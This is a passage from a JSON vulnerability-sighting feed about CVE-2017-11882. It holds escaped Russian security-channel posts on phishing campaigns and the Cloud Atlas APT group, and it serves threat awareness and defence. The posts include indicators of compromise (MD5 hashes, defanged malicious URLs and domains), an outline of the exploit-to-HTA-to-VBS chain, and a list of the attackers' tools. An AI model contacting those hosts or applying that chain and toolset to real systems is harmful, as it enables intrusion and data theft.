\u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438.\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c?\n\ud83d\udd10\u0417\u0430\u043a\u0440\u043e\u0439\u0442\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 RDP\n\ud83d\udd10\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 VPN \u0441 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439\n\ud83d\udd10\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\ud83d\udd10\u041d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0439\u0442\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u043e\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u0435\u0439\n\ud83d\udd10\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 RT Protect EDR, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e\n\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 IOC\n\nmd5:\n1177fecd07e3ad608c745c81225e4544\n14caab369a364f4dd5f58a7bbca34da6\n184a4f3f00ca40d10790270a20019bb4\n30bcac6815ba2375bef3daf22ff28698\n46cd19c3dac997bfa1a90028a28b5045\n\nURL:\nhttp[:]//star7[.]kro[.]kr/login/help/show[.]php?_Dom=991\nhttp[:]//star7[.]kro[.]kr/login/img/show[.]php?uDt=177\nhttp[:]//www[.]sign[.]in[.]mogovernts[.]kro[.]kr/rebin/include[.]php?_sys=7\n\nDomain:\naccess-apollo-page[.]r-e[.]kr\naccess-apollo-star7[.]kro[.]kr\naccess-mogovernts[.]kro[.]kr\napollo-page[.]r-e[.]kr\napollo-star7[.]kro[.]kr\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-17T11:00:03.855473Z"}, {"uuid": "c4b28d7e-eba9-4bf0-ad5b-108611fc3e8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/rtinfobez/200", "content": "\u2709\ufe0f \u041c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430: 76 000 \u043f\u0438\u0441\u0435\u043c \u0437\u0430 \u0441\u0443\u0442\u043a\u0438\n\n27 \u044f\u043d\u0432\u0430\u0440\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 TA558 \u043f\u0440\u043e\u0432\u0435\u043b\u0430 \u043e\u0434\u043d\u0443 \u0438\u0437 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0445 \u0430\u0442\u0430\u043a \u2014 \u0431\u043e\u043b\u0435\u0435 76 \u0442\u044b\u0441\u044f\u0447 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0431\u044b\u043b\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 112 \u0441\u0442\u0440\u0430\u043d. \u0412 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u043c, \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c, \u0441\u0442\u0440\u043e\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445.\n\n\u041a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u0430 \u0430\u0442\u0430\u043a\u0430\n\u0424\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882. \u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0439 HTA-\u0444\u0430\u0439\u043b \u0441 VBS-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c. \u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b Remcos RAT \u2013 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041a\u0442\u043e \u0442\u0430\u043a\u0438\u0435 TA558?\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 2018 \u0433\u043e\u0434\u0430 \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438. \u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u2014 \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\u26a0\ufe0f \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0420\u0422-\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442: \u0444\u0438\u0448\u0438\u043d\u0433 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0432\u0437\u043b\u043e\u043c\u0430. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 RT Protect Awareness, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0418\u0411.\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-17T11:00:04.491476Z"}, {"uuid": "b8e15336-7a98-4c9e-9a13-de65eccb6b70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/rtinfobez/146", "content": "\u0411\u0443! \u0418\u0441\u043f\u0443\u0433\u0430\u043b\u0441\u044f?\n\n\u042d\u0442\u043e Cloud Atlas (Inception, Cloud Werewolf, Clean Ursa, Oxygen) \u2014 APT-\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430, \u0447\u044c\u044f \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2014 \u0433\u043e\u0434\u0430. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f, \u0447\u0435\u043c \u043e\u043d\u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udcce \u0414\u0435\u0442\u0430\u043b\u0438 \u0434\u0435\u043b\u0430:\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0435\u043c \u0438 \u043a\u0440\u0430\u0436\u0435\u0439 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043c\u043d\u043e\u0433\u0438\u0435 \u0433\u043e\u0434\u044b \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0444\u0438\u0448\u0438\u043d\u0433.\n\n\ud83c\udf0e \u0413\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u044f \u0430\u0442\u0430\u043a:\n\u23fa\u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u044f;\n\u23fa\u0418\u043d\u0434\u0438\u044f;\n\u23fa\u041a\u0430\u0437\u0430\u0445\u0441\u0442\u0430\u043d;\n\u23fa\u0420\u043e\u0441\u0441\u0438\u044f;\n\u23fa\u0427\u0435\u0445\u0438\u044f;\n\u23fa\u0410\u0437\u0435\u0440\u0431\u0430\u0439\u0434\u0436\u0430\u043d;\n\u23fa\u0422\u0443\u0440\u0446\u0438\u044f;\n\u23fa\u0421\u043b\u043e\u0432\u0435\u043d\u0438\u044f.\n\n\u041c\u0438\u0448\u0435\u043d\u0438 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0438 \u043d\u0430\u0443\u0447\u043d\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u0432.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0430\u0442\u0430\u043a\u0438:\nCloud Atlas \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office.\n\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a HTA-\u0444\u0430\u0439\u043b\u0430. \u0414\u0430\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044e\u0442\u0441\u044f VBS-\u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u044d\u0442\u0430\u043f\u043e\u0432 \u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udee0\ufe0f \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b:\n\u041f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 RT Protect SOC \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0430 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432:\n\u23faTor Proxy;\n\u23faImpacket (smbexec, addcomputer, s4u2self);\n\u23faPaExec;\n\u23faRDP Wrapper;\n\u23faNtdsutil;\n\u23faAdvanced IP Scanner;\n\u23faPutty;\n\u23faCertipy.\n\n\u0414\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442 SMB_RAT (SMB_RAT v4.1_prod), \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Python, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0438 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n\u041d\u0430\u0445\u043e\u0434\u044f\u0441\u044c \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0436\u0435\u0440\u0442\u0432\u044b, \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u043d\u043e, \u043c\u0438\u043c\u0438\u043a\u0440\u0438\u0440\u0443\u044f \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0443\u044e \u0434\u043b\u044f \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430 RT Protect SOC \u0443\u0436\u0435 \u043d\u0435 \u0432 \u043f\u0435\u0440\u0432\u044b\u0439 \u0440\u0430\u0437 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439, \u0438 \u0433\u043e\u0442\u043e\u0432\u0430 \u043a \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u0438\u044e \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0430\u0442\u0430\u043a!\n\n#\u041f\u0440\u043e\u0444\u0438\u043b\u044c\u041f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430", "creation_timestamp": "2026-07-17T11:00:04.731066Z"}, {"uuid": "33065c01-522b-481a-8afc-5403dfa67903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/rtinfobez/146", "content": "\u0411\u0443! \u0418\u0441\u043f\u0443\u0433\u0430\u043b\u0441\u044f?\n\n\u042d\u0442\u043e Cloud Atlas (Inception, Cloud Werewolf, Clean Ursa, Oxygen) \u2014 APT-\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430, \u0447\u044c\u044f \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2014 \u0433\u043e\u0434\u0430. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f, \u0447\u0435\u043c \u043e\u043d\u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udcce \u0414\u0435\u0442\u0430\u043b\u0438 \u0434\u0435\u043b\u0430:\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0435\u043c \u0438 \u043a\u0440\u0430\u0436\u0435\u0439 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043c\u043d\u043e\u0433\u0438\u0435 \u0433\u043e\u0434\u044b \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0444\u0438\u0448\u0438\u043d\u0433.\n\n\ud83c\udf0e \u0413\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u044f \u0430\u0442\u0430\u043a:\n\u23fa\u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u044f;\n\u23fa\u0418\u043d\u0434\u0438\u044f;\n\u23fa\u041a\u0430\u0437\u0430\u0445\u0441\u0442\u0430\u043d;\n\u23fa\u0420\u043e\u0441\u0441\u0438\u044f;\n\u23fa\u0427\u0435\u0445\u0438\u044f;\n\u23fa\u0410\u0437\u0435\u0440\u0431\u0430\u0439\u0434\u0436\u0430\u043d;\n\u23fa\u0422\u0443\u0440\u0446\u0438\u044f;\n\u23fa\u0421\u043b\u043e\u0432\u0435\u043d\u0438\u044f.\n\n\u041c\u0438\u0448\u0435\u043d\u0438 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0438 \u043d\u0430\u0443\u0447\u043d\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u0432.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0430\u0442\u0430\u043a\u0438:\nCloud Atlas \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office.\n\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a HTA-\u0444\u0430\u0439\u043b\u0430. \u0414\u0430\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044e\u0442\u0441\u044f VBS-\u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u044d\u0442\u0430\u043f\u043e\u0432 \u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udee0\ufe0f \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b:\n\u041f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 RT Protect SOC \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0430 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432:\n\u23faTor Proxy;\n\u23faImpacket (smbexec, addcomputer, s4u2self);\n\u23faPaExec;\n\u23faRDP Wrapper;\n\u23faNtdsutil;\n\u23faAdvanced IP 